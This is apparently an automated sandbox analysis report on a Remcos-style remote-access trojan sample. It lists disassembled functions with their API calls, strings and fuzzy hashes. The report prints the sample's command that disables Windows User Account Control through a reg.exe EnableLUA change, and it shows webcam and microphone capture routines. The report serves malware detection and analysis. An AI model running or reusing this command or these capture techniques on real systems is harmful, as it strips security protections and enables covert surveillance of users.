Instruction Fuzzy Hash: 4901B179A44309BEDB12EB908D12FBDB7ECEB08B00F1001A6BA10DB590EA749A10D758

Uniqueness

Uniqueness Score: -1.00%

Function 16027755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 1602779B
CloseHandle.KERNEL32(?), ref: 160277AA
CloseHandle.KERNEL32(?), ref: 160277AF

Strings

C:\Windows\System32\cmd.exe, xrefs: 16027796
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 16027791

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
API String ID: 2922976086-4183131282
Opcode ID: 062c7411a6d578549abacde96cbbafe3c6610f37cca77959dd644ae5619b71c8
Instruction ID: b8b745394e3db2167bbfd62d9f8b80471392e90d74b2beaa075551d77a9f682a
Opcode Fuzzy Hash: 062c7411a6d578549abacde96cbbafe3c6610f37cca77959dd644ae5619b71c8
Instruction Fuzzy Hash: B9F01D76D101AC7ACB20EAD69C49EDF7F7EEBC6B11F00056AFA08A6144E6306404CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 16027260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

Rmc-3N0E9G, xrefs: 160276DA
C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, xrefs: 160276C4

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe$Rmc-3N0E9G
API String ID: 0-575752941
Opcode ID: 1b61ce8df0a4fea5c3dcca4f2f94217b4efc881a98008023f8ddb3e199606653
Instruction ID: 481872651e874942cc9037d0b1be77230d8ae7c3e0619761db6ce73488f84fd1
Opcode Fuzzy Hash: 1b61ce8df0a4fea5c3dcca4f2f94217b4efc881a98008023f8ddb3e199606653
Instruction Fuzzy Hash: CAF0F078B212A19BCA0CE725889C63D3FABBF51242FC0049DF64ADA2C4EB21080DC650

Uniqueness

Uniqueness Score: -1.00%

Function 1606333A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,160632EB,00000000,?,1606328B,00000000,1608E948,0000000C,160633E2,00000000,00000002), ref: 1606335A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 1606336D
FreeLibrary.KERNEL32(00000000,?,?,?,160632EB,00000000,?,1606328B,00000000,1608E948,0000000C,160633E2,00000000,00000002), ref: 16063390

Strings

mscoree.dll, xrefs: 16063353
CorExitProcess, xrefs: 16063365

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 13322dd1816cb377d5fe212f814dc35411ec2fc70bd72d6c3333c2c70d17e194
Instruction ID: e3d4b747be863183fa24a7048b50457a063cc0b442b16a76939f592bdeaaa664
Opcode Fuzzy Hash: 13322dd1816cb377d5fe212f814dc35411ec2fc70bd72d6c3333c2c70d17e194
Instruction Fuzzy Hash: 08F04435A11128BBCB19DF55CC88B9DBFB6EF44352F0141A8F945A2190DB709D45CA90

Uniqueness

Uniqueness Score: -1.00%

Function 160250E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,16094EF8,16024E7A,00000001,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000), ref: 16025120
SetEvent.KERNEL32(?,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000), ref: 1602512C
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000), ref: 16025137
CloseHandle.KERNEL32(?,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000), ref: 16025140

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

Strings

KeepAlive | Disabled, xrefs: 160250F9

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
String ID: KeepAlive | Disabled
API String ID: 2993684571-305739064
Opcode ID: 6d72662262cab81c9266af9670e6797158199a135d866a29b1f8278363f3558f
Instruction ID: 7f9c662d2b32263a56ef0e9809f0a8669448ae0b194319f68d1f9ceef7622d4c
Opcode Fuzzy Hash: 6d72662262cab81c9266af9670e6797158199a135d866a29b1f8278363f3558f
Instruction Fuzzy Hash: E9F02475C043207FEB11BBB4CD4DA6B7EAAAF12311F40064CF9C382291C6219888CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1603CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,1603CDED), ref: 1603CD62
GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,1603CDED), ref: 1603CD6F
SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,1603CDED), ref: 1603CD7C
SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,1603CDED), ref: 1603CD8F

Strings

______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 1603CD82

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Console$AttributeText$BufferHandleInfoScreen
String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
API String ID: 3024135584-2418719853
Opcode ID: b24b469e07b3fb5fc10837f1c07f11fd1a4c3f04f31a44d4448e71158dcf1e3e
Instruction ID: aeec6a5937e428208d7b5139a66a1d4278c7fe4a405bdd972c98d265fe04b3b9
Opcode Fuzzy Hash: b24b469e07b3fb5fc10837f1c07f11fd1a4c3f04f31a44d4448e71158dcf1e3e
Instruction Fuzzy Hash: DFE04F72900218ABD31467B59C8DCEB7F7DEB95622B500355FB52A1186EE205864C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 1606139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dcb5209b341f0aabb75167469fbd583408669046a88cb0fff1d0f071708b0a1
Instruction ID: af2731aae60befb04b4636a08c3ae59067f9b64b594cf648b63adbbc44a0afa0
Opcode Fuzzy Hash: 1dcb5209b341f0aabb75167469fbd583408669046a88cb0fff1d0f071708b0a1
Instruction Fuzzy Hash: 9D71D335D00267DBCB11CF9EC884AAFFFB5EF45362F1142A9E81267180D7709989CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 16024371 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 206sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?), ref: 160244C4

Part of subcall function 16024607: __EH_prolog.LIBCMT ref: 1602460C

Strings

CloseCamera, xrefs: 1602458E
OpenCamera, xrefs: 16024582
GetFrame, xrefs: 1602459F
FreeFrame, xrefs: 160245B0

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: H_prologSleep
String ID: CloseCamera$FreeFrame$GetFrame$OpenCamera
API String ID: 3469354165-3547787478
Opcode ID: 9db176750686784977e48341e6d3a9eea03337d4b681295c9967397f845c264c
Instruction ID: 692b86f2a78fed439aef5606379976bbea2ed29e9f5a2fbb3215e8406ba67fae
Opcode Fuzzy Hash: 9db176750686784977e48341e6d3a9eea03337d4b681295c9967397f845c264c
Instruction Fuzzy Hash: 16512639F052205BCA18EB74CC5466E3FA7AF94641FC1455CE94A57AD1EF30AE0DC392

Uniqueness

Uniqueness Score: -1.00%

Function 16064CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16066137: HeapAlloc.KERNEL32(00000000,160552BC,?,?,16058847,?,?,00000000,16096B50,?,1602DE62,160552BC,?,?,?,?), ref: 16066169

_free.LIBCMT ref: 16064E06
_free.LIBCMT ref: 16064E1D
_free.LIBCMT ref: 16064E3C
_free.LIBCMT ref: 16064E57
_free.LIBCMT ref: 16064E6E

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$AllocHeap
String ID:
API String ID: 1835388192-0
Opcode ID: 0fed5ef1a50ba3c318b4080dcf492f920f247746e617831d36be1775e92ab259
Instruction ID: 7f294d830dbf8fe32e8584373a116efb86a91b1b980e9d4d3d0931e2160dcc47
Opcode Fuzzy Hash: 0fed5ef1a50ba3c318b4080dcf492f920f247746e617831d36be1775e92ab259
Instruction Fuzzy Hash: 9151E776E01305AFD711DF2ACC40A5A7BF6EF44725F01866DE819D7250E731EA09CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1602F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON

Download Yara Rule

APIs

Part of subcall function 1603BFB7: GetCurrentProcess.KERNEL32(?,?,?,1602DAAA,WinDir,00000000,00000000), ref: 1603BFC8
Part of subcall function 1603BFB7: IsWow64Process.KERNEL32(00000000,?,?,1602DAAA,WinDir,00000000,00000000), ref: 1603BFCF

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1602F91B
Process32FirstW.KERNEL32(00000000,?), ref: 1602F93F
Process32NextW.KERNEL32(00000000,0000022C), ref: 1602F94E
CloseHandle.KERNEL32(00000000), ref: 1602FB05

Part of subcall function 1603BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,1602F5F9,00000000,?,?,16095338), ref: 1603BFFA
Part of subcall function 1603BFE5: IsWow64Process.KERNEL32(00000000,?,?,?,16095338), ref: 1603C005

Part of subcall function 1603C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 1603C1F5
Part of subcall function 1603C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 1603C208

Process32NextW.KERNEL32(00000000,0000022C), ref: 1602FAF6

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
String ID:
API String ID: 2180151492-0
Opcode ID: e77a5cdd8177e1c15e87591f62b2922aece7d8f131d2d24815a470f97a37841b
Instruction ID: 98cc0150dcd00e3e0b01bfb7664dd8f7ffe33a910e953127f858d456d9c2de74
Opcode Fuzzy Hash: e77a5cdd8177e1c15e87591f62b2922aece7d8f131d2d24815a470f97a37841b
Instruction Fuzzy Hash: CD4158391042545BC365DB61DC90AFFBBEABFA4301F90492DE59986194EF307A0DC752

Uniqueness

Uniqueness Score: -1.00%

Function 16063DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 16063E6B
_free.LIBCMT ref: 16063E8B

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1901cd225eb6b4722f416da4a127466eada94aa246bbc19b4c11ed5f4b6d2c2a
Instruction ID: 4f9f134416e26f9ca76416aa680eef780dbd7e50830416cbc3c1d475c6435cb3
Opcode Fuzzy Hash: 1901cd225eb6b4722f416da4a127466eada94aa246bbc19b4c11ed5f4b6d2c2a
Instruction Fuzzy Hash: 7141A376E102109FDB18CF79C880A5DBBF6FF88714F1645A9D515EB280EA31AD09CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1607112C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,1605F8C8,?,00000000,?,00000001,?,?,00000001,1605F8C8,?), ref: 16071179
__alloca_probe_16.LIBCMT ref: 160711B1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 16071202
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1605AE84,?), ref: 16071214
__freea.LIBCMT ref: 1607121D

Part of subcall function 16066137: HeapAlloc.KERNEL32(00000000,160552BC,?,?,16058847,?,?,00000000,16096B50,?,1602DE62,160552BC,?,?,?,?), ref: 16066169

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 1857427562-0
Opcode ID: 099958e6c6a4863ad19aad3f781fc4917e8b74ce4948c7f178c5f1844a784c01
Instruction ID: 455831b8e16d2a2869c1f9ce9b912e828d129c59bbb4dd36b95c3786fa10a65a
Opcode Fuzzy Hash: 099958e6c6a4863ad19aad3f781fc4917e8b74ce4948c7f178c5f1844a784c01
Instruction Fuzzy Hash: DD31D275A1021AABDF15CF64CC80DAE7FE6EB50211F0541A8EC44DB290E735DD69CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 16021BE9 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 16021BF9
waveInOpen.WINMM(16092AC0,000000FF,16092AA8,Function_00001D0B,00000000,00000000,00000024), ref: 16021C8F
waveInPrepareHeader.WINMM(16092A88,00000020), ref: 16021CE3
waveInAddBuffer.WINMM(16092A88,00000020), ref: 16021CF2
waveInStart.WINMM ref: 16021CFE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
String ID:
API String ID: 1356121797-0
Opcode ID: 376b4cf5f1ae432ce5d1e2cff0434bece616a4dd55df97dcf5915dfb5a640697
Instruction ID: b284fd064748b0faae083db6387daf0f6b9c58d517ce6317a8e723982832497a
Opcode Fuzzy Hash: 376b4cf5f1ae432ce5d1e2cff0434bece616a4dd55df97dcf5915dfb5a640697
Instruction Fuzzy Hash: 3B2139775252609FC72CDF668C9895A7FABBFB4311740806AE34DD6AA0DB344404DB58

Uniqueness

Uniqueness Score: -1.00%

Function 1606F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 1606F363
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1606F386

Part of subcall function 16066137: HeapAlloc.KERNEL32(00000000,160552BC,?,?,16058847,?,?,00000000,16096B50,?,1602DE62,160552BC,?,?,?,?), ref: 16066169

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 1606F3AC
_free.LIBCMT ref: 1606F3BF
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 1606F3CE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocFreeHeap_free
String ID:
API String ID: 2278895681-0
Opcode ID: 9a0c0cc08ed8eb8e300a9b11a926079f239685155052617c1d1adb63354da2b7
Instruction ID: 2c0e7c002aeb2f9c5781537b2750c4e9ffdce4138d6629f131c4248b00c92aa9
Opcode Fuzzy Hash: 9a0c0cc08ed8eb8e300a9b11a926079f239685155052617c1d1adb63354da2b7
Instruction Fuzzy Hash: 4E01B172A012347B631186AF5C8CC7F2EAFDAC69A5791022EFD44E2204DA609D05C1B2

Uniqueness

Uniqueness Score: -1.00%

Function 1603C3F1 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,1603C510,00000000,00000000,00000000), ref: 1603C430
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,1603C510,00000000,00000000), ref: 1603C44D
CloseHandle.KERNEL32(00000000,?,00000004,00000000,1603C510,00000000,00000000), ref: 1603C459
WriteFile.KERNEL32(00000000,00000000,00000000,16026F85,00000000,?,00000004,00000000,1603C510,00000000,00000000), ref: 1603C46A
CloseHandle.KERNEL32(00000000,?,00000004,00000000,1603C510,00000000,00000000), ref: 1603C477

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreatePointerWrite
String ID:
API String ID: 1852769593-0
Opcode ID: 034d38951a756714b1ae1ab78891bcb543b8213b9cc50350af8f19e26a5aafcc
Instruction ID: 3f34c6e6711aea43a4e8998643d14482e40ee10bb0772e57346283b765fbfee9
Opcode Fuzzy Hash: 034d38951a756714b1ae1ab78891bcb543b8213b9cc50350af8f19e26a5aafcc
Instruction Fuzzy Hash: 4911D6716142257FE608CB2A9CC9EBB7BDEEB46677F004729F6E1D61C0C6219C488671

Uniqueness

Uniqueness Score: -1.00%

Function 16031163 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 16031170
int.LIBCPMT ref: 16031183

Part of subcall function 1602E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 1602E0D2
Part of subcall function 1602E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 1602E0EC

std::_Facet_Register.LIBCPMT ref: 160311C3
std::_Lockit::~_Lockit.LIBCPMT ref: 160311CC
__CxxThrowException@8.LIBVCRUNTIME ref: 160311EA

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
String ID:
API String ID: 2536120697-0
Opcode ID: ad62b9b4d99d60f8c699a7fa0590b2d4c4ef7301c6c31bc9f5ce46b69fde42be
Instruction ID: 8d34c435335c1e2441e35da241be3b2ae6b04de923e375ef03465305af3497d7
Opcode Fuzzy Hash: ad62b9b4d99d60f8c699a7fa0590b2d4c4ef7301c6c31bc9f5ce46b69fde42be
Instruction Fuzzy Hash: 0B11EC76900128ABCB15DFA4DC44CDDBFBAAF54252F51059AF814A72D0EB31AE49C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 16068299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,1605BC87,00000000,?,?,1605BD0B,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1606829E
_free.LIBCMT ref: 160682D3
_free.LIBCMT ref: 160682FA
SetLastError.KERNEL32(00000000), ref: 16068307
SetLastError.KERNEL32(00000000), ref: 16068310

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: cbbc5c29fb32ad810c011ed1bb92414260b7d09e52e2d3950878c2116cf69b6f
Instruction ID: e4327ab9de9e4cf3dda506c83905936c94f6f984e36847e4e62d642c026c4383
Opcode Fuzzy Hash: cbbc5c29fb32ad810c011ed1bb92414260b7d09e52e2d3950878c2116cf69b6f
Instruction Fuzzy Hash: 0201F9BE6107626BD306D6275CC894B2E5BABD2272F220128FD54A2180EF60CE4DC1B5

Uniqueness

Uniqueness Score: -1.00%

Function 03F6AA0C Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03F6AAA3,?,?,00000000), ref: 03F6AA24

Part of subcall function 03F6A780: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03F6A79E

GetThreadLocale.KERNEL32(00000000,00000004,00000000,03F6AAA3,?,?,00000000), ref: 03F6AA54
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000004), ref: 03F6AA5F
GetThreadLocale.KERNEL32(00000000,00000003,00000000,03F6AAA3,?,?,00000000), ref: 03F6AA7D
EnumCalendarInfoA.KERNEL32(Function_0000A994,00000000,00000000,00000003), ref: 03F6AA88

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 7741ae1b36624a48a8b53ab2e00a6b9ccb807c0e6c60e0274058cafe27687573
Instruction ID: e4cd2377d36ef96f67fbb0182e7211bcc5895a05ee41c85099077aff2bd0e042
Opcode Fuzzy Hash: 7741ae1b36624a48a8b53ab2e00a6b9ccb807c0e6c60e0274058cafe27687573
Instruction Fuzzy Hash: 3501F7B9600388AFEB01EB74DD22F5E76ACDB46620F610161E510FE6C0E665DE0142A4

Uniqueness

Uniqueness Score: -1.00%

Function 1603C1DD Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 1603C1F5
OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 1603C208
GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 1603C228
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 1603C233
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 1603C23B

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleOpen$FileImageName
String ID:
API String ID: 2951400881-0
Opcode ID: 13c78de67dcd45e76524f8fd118513029f1493ae0d72eb93d26ad99ac5609df1
Instruction ID: ee3fb0a4717ef57ae5dcdabf9a532d065e6e1994258c1f60fd9f44bef2245f33
Opcode Fuzzy Hash: 13c78de67dcd45e76524f8fd118513029f1493ae0d72eb93d26ad99ac5609df1
Instruction Fuzzy Hash: 1D0149B56402256FE204D3D98C88F6BBBBEEB94683F000151FB48D2180EF609C45C6B1

Uniqueness

Uniqueness Score: -1.00%

